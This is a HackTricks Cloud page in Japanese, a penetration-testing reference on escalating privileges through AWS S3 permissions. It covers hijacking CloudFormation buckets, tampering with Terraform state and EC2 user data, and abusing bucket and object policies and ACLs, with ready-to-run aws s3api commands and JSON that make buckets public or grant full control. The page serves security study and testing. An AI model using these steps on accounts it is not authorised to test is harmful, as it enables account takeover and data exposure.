AWS - S3 Privesc
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
S3
s3:PutBucketNotification
, s3:PutObject
, s3:GetObject
興味深いバケットに対してこれらの権限を持つ攻撃者は、リソースをハイジャックし、権限を昇格させることができるかもしれません。
例えば、"cf-templates-nohnwfax6a6i-us-east-1"という名前のcloudformationバケットに対してこれらの権限を持つ攻撃者は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
そして、ハイジャックが可能なのは、テンプレートがバケットにアップロードされる瞬間から、テンプレートがデプロイされる瞬間までの小さな時間ウィンドウがあるからです。攻撃者は、自分のアカウントにlambda functionを作成し、バケット通知が送信されたときにトリガーされるように設定することで、そのバケットの内容をハイジャックすることができます。
Pacuモジュール cfn__resouce_injection
を使用して、この攻撃を自動化できます。
詳細については、元の研究を確認してください: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/
s3:PutObject
, s3:GetObject
これらは、S3にオブジェクトを取得およびアップロードするための権限です。AWS内(および外部)でいくつかのサービスが、設定ファイルを保存するためにS3ストレージを使用しています。
それらに読み取りアクセスを持つ攻撃者は、機密情報を見つける可能性があります。
それらに書き込みアクセスを持つ攻撃者は、データを変更してサービスを悪用し、特権を昇格させようとすることができます。
以下はそのいくつかの例です:
- EC2インスタンスがユーザーデータをS3バケットに保存している場合、攻撃者はそれを変更してEC2インスタンス内で任意のコードを実行することができます。
s3:PutObject
, s3:GetObject
(オプション) terraformステートファイル上
terraform ステートファイルがクラウドプロバイダーのブロブストレージに保存されることは非常に一般的です。例えば、AWS S3です。ステートファイルのファイルサフィックスは.tfstate
であり、バケット名も通常、terraformステートファイルを含んでいることを示します。通常、すべてのAWSアカウントには、アカウントの状態を示すステートファイルを保存するためのそのようなバケットが1つあります。
また、実際のアカウントでは、ほぼすべての開発者がs3:*
を持ち、時にはビジネスユーザーでさえs3:Put*
を持っています。
したがって、これらのファイルに対してリストされた権限を持っている場合、terraform
の特権でパイプライン内でRCEを取得することを可能にする攻撃ベクターがあります - ほとんどの場合、AdministratorAccess
であり、あなたをクラウドアカウントの管理者にします。また、そのベクターを使用して、terraform
に正当なリソースを削除させることでサービス拒否攻撃を行うこともできます。
直接使用可能なエクスプロイトコードについては、Terraform SecurityページのAbusing Terraform State Filesセクションの説明に従ってください:
s3:PutBucketPolicy
攻撃者は、同じアカウントからである必要があり、そうでない場合はエラーThe specified method is not allowed will trigger
が発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、バケットを読み取り、書き込み、変更、削除、公開することができるようになります。
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
s3:GetBucketAcl
, s3:PutBucketAcl
攻撃者はこれらの権限を悪用して、特定のバケットに対してより多くのアクセスを付与することができます。
攻撃者は同じアカウントからである必要はありません。さらに、書き込みアクセス
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl
, s3:PutObjectAcl
攻撃者は、これらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセスを増やすことができます。
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl
, s3:PutObjectVersionAcl
これらの権限を持つ攻撃者は、特定のオブジェクトバージョンにAclを設定できると予想されます。
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。